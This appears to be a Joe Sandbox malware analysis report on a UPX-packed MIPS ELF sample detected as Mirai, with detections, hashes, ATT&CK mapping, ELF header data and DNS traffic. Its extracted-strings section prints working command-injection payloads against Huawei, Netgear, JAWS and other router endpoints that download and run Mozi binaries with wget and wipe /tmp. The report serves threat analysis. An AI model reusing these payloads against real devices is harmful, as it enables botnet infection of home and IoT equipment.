Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:na.elf
Analysis ID:1532418
MD5:7b61d204b1a02968237b9e817e79aead
SHA1:403f0e100a9bc9cf520c045008cf03ca552cceef
SHA256:3ba495d4fe7fbed339ae6852cddd60c878f6545bfec31254d536526a64b9bf56
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:92
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1532418
Start date and time:2024-10-13 07:03:33 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 50s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:na.elf
Detection:MAL
Classification:mal92.troj.evad.linELF@0/0@2/0
Command:/tmp/na.elf
PID:5852
Exit Code:133
Exit Code Info:
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
  • system is lnxubuntu20
  • na.elf (PID: 5852, Parent: 5773, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/na.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
na.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    na.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      na.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        na.elfLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        SourceRuleDescriptionAuthorStrings
        5852.1.00007f8ba4400000.00007f8ba4422000.r-x.sdmpLinux_Packer_Patched_UPX_62e11c64unknownunknown
        • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
        No Suricata rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: na.elfAvira: detected
        Source: na.elfReversingLabs: Detection: 60%
        Source: na.elfVirustotal: Detection: 67%Perma Link
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.a;chmod
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.a;sh$
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.m
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.m;
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.m;$
        Source: na.elfString found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
        Source: na.elfString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: na.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: na.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: na.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
        Source: na.elfString found in binary or memory: http://upx.sf.net

        System Summary

        barindex
        Source: na.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: 5852.1.00007f8ba4400000.00007f8ba4422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
        Source: LOAD without section mappingsProgram segment: 0x400000
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
        Source: Initial samplePotential command found: GET /Mozi.7 HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.c HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.m HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.x HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.a HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.s HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.r HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.b HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.4 HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.k HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.l HTTP/1.0
        Source: Initial samplePotential command found: GET /Mozi.p HTTP/1.0
        Source: Initial samplePotential command found: GET /%s HTTP/1.1
        Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
        Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
        Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
        Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
        Source: na.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: 5852.1.00007f8ba4400000.00007f8ba4422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
        Source: classification engineClassification label: mal92.troj.evad.linELF@0/0@2/0

        Data Obfuscation

        barindex
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
        Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
        Source: na.elfSubmission file: segment LOAD with 7.8156 entropy (max. 8.0)
        Source: /tmp/na.elf (PID: 5852)Queries kernel information via 'uname': Jump to behavior
        Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
        Source: na.elf, 5852.1.000055575f993000.000055575fa1a000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
        Source: na.elf, 5852.1.000055575f993000.000055575fa1a000.rw-.sdmpBinary or memory string: _WU!/etc/qemu-binfmt/mips
        Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
        Source: na.elf, 5852.1.00007ffe8bc94000.00007ffe8bcb5000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: na.elf, type: SAMPLE

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: na.elf, type: SAMPLE
        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
        Command and Scripting Interpreter
        Path InterceptionPath Interception11
        Obfuscated Files or Information
        OS Credential Dumping11
        Security Software Discovery
        Remote ServicesData from Local System1
        Non-Application Layer Protocol
        Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Application Layer Protocol
        Exfiltration Over BluetoothNetwork Denial of Service
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        SourceDetectionScannerLabelLink
        na.elf61%ReversingLabsLinux.Trojan.Dakkatoni
        na.elf68%VirustotalBrowse
        na.elf100%AviraEXP/ELF.Agent.L.26
        No Antivirus matches
        SourceDetectionScannerLabelLink
        daisy.ubuntu.com0%VirustotalBrowse
        SourceDetectionScannerLabelLink
        http://upx.sf.net0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        162.213.35.25
        truefalseunknown
        NameSourceMaliciousAntivirus DetectionReputation
        http://upx.sf.netna.elftrue
        • URL Reputation: safe
        unknown
        http://%s:%d/Mozi.a;sh$na.elffalse
          unknown
          http://%s:%d/Mozi.a;chmodna.elffalse
            unknown
            http://%s:%d/Mozi.m;/tmp/Mozi.mna.elffalse
              unknown
              http://schemas.xmlsoap.org/soap/encoding/na.elffalse
              • URL Reputation: safe
              unknown
              http://schemas.xmlsoap.org/soap/envelope//na.elffalse
                unknown
                http://%s:%d/Mozi.mna.elffalse
                  unknown
                  http://purenetworks.com/HNAP1/na.elffalse
                    unknown
                    http://%s:%d/Mozi.m;na.elffalse
                      unknown
                      http://%s:%d/Mozi.m;$na.elffalse
                        unknown
                        http://schemas.xmlsoap.org/soap/envelope/na.elffalse
                        • URL Reputation: safe
                        unknown
                        No contacted IP infos
                        No context
                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        daisy.ubuntu.comna.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        na.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        SecuriteInfo.com.ELF.Mirai-ASX.30448.25409.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        SecuriteInfo.com.ELF.Mirai-ASX.19412.28677.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        SecuriteInfo.com.ELF.Mirai-ASX.30910.661.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        Qrbupua6pG.elfGet hashmaliciousGafgyt, MiraiBrowse
                        • 162.213.35.25
                        U1QSgEzo25.elfGet hashmaliciousMiraiBrowse
                        • 162.213.35.25
                        OIW7aNSHbh.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.25
                        EefULigFg1.elfGet hashmaliciousMiraiBrowse
                        • 162.213.35.24
                        Mf9dMcU3qj.elfGet hashmaliciousUnknownBrowse
                        • 162.213.35.24
                        No context
                        No context
                        No context
                        No created / dropped files found
                        File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
                        Entropy (8bit):5.13349178958871
                        TrID:
                        • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                        • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                        File name:na.elf
                        File size:307'960 bytes
                        MD5:7b61d204b1a02968237b9e817e79aead
                        SHA1:403f0e100a9bc9cf520c045008cf03ca552cceef
                        SHA256:3ba495d4fe7fbed339ae6852cddd60c878f6545bfec31254d536526a64b9bf56
                        SHA512:53d7bfabe08188e6f99a2d5ff929af2efdd4d1f94b81fb7e7b477c3c906b7f97cdbe2764fc9c4a3b42d1e1411b998b44e942edbf35bcb696d649c54c8838e85a
                        SSDEEP:3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xiotPOdOQ33Q:p3lOYoaja8xzx/0wsxzSiMPqOJ
                        TLSH:F364018BFB21AC1FC9000B7115DB0B5973BCDA4A82C7D191F394C95F39BA285B7A11D9
                        File Content Preview:.ELF.....................B.....4.........4. ...(.............@...@...........................C...C......../..........*.*UPX!.X.....................^....|.$..ELF..........@.`....4...0... ...(......<...@......[v......H...`.t..;_...dt.Q.....].M..............

                        ELF header

                        Class:ELF32
                        Data:2's complement, big endian
                        Version:1 (current)
                        Machine:MIPS R3000
                        Version Number:0x1
                        Type:EXEC (Executable file)
                        OS/ABI:UNIX - System V
                        ABI Version:0
                        Entry Point Address:0x4206a8
                        Flags:0x1007
                        ELF Header Size:52
                        Program Header Offset:52
                        Program Header Size:32
                        Number of Program Headers:2
                        Section Header Offset:0
                        Section Header Size:40
                        Number of Section Headers:0
                        Header String Table Index:0
                        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                        LOAD0x00x4000000x4000000x210f20x210f27.81560x5R E0x10000
                        LOAD0x00x4300000x4300000x00x92fd80.00000x6RW 0x10000
                        TimestampSource PortDest PortSource IPDest IP
                        Oct 13, 2024 07:04:49.393717051 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:49.398813009 CEST53557668.8.8.8192.168.2.15
                        Oct 13, 2024 07:04:49.398891926 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:49.398891926 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:49.398933887 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:49.403776884 CEST53557668.8.8.8192.168.2.15
                        Oct 13, 2024 07:04:49.403889894 CEST53557668.8.8.8192.168.2.15
                        Oct 13, 2024 07:04:49.861402988 CEST53557668.8.8.8192.168.2.15
                        Oct 13, 2024 07:04:49.861480951 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:51.861560106 CEST53557668.8.8.8192.168.2.15
                        Oct 13, 2024 07:04:51.862057924 CEST5576653192.168.2.158.8.8.8
                        Oct 13, 2024 07:04:51.867013931 CEST53557668.8.8.8192.168.2.15
                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                        Oct 13, 2024 07:04:49.398891926 CEST192.168.2.158.8.8.80xd056Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                        Oct 13, 2024 07:04:49.398933887 CEST192.168.2.158.8.8.80x2b4eStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                        Oct 13, 2024 07:04:49.861402988 CEST8.8.8.8192.168.2.150xd056No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                        Oct 13, 2024 07:04:49.861402988 CEST8.8.8.8192.168.2.150xd056No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                        System Behavior

                        Start time (UTC):05:04:47
                        Start date (UTC):13/10/2024
                        Path:/tmp/na.elf
                        Arguments:/tmp/na.elf
                        File size:5777432 bytes
                        MD5 hash:0083f1f0e77be34ad27f849842bbb00c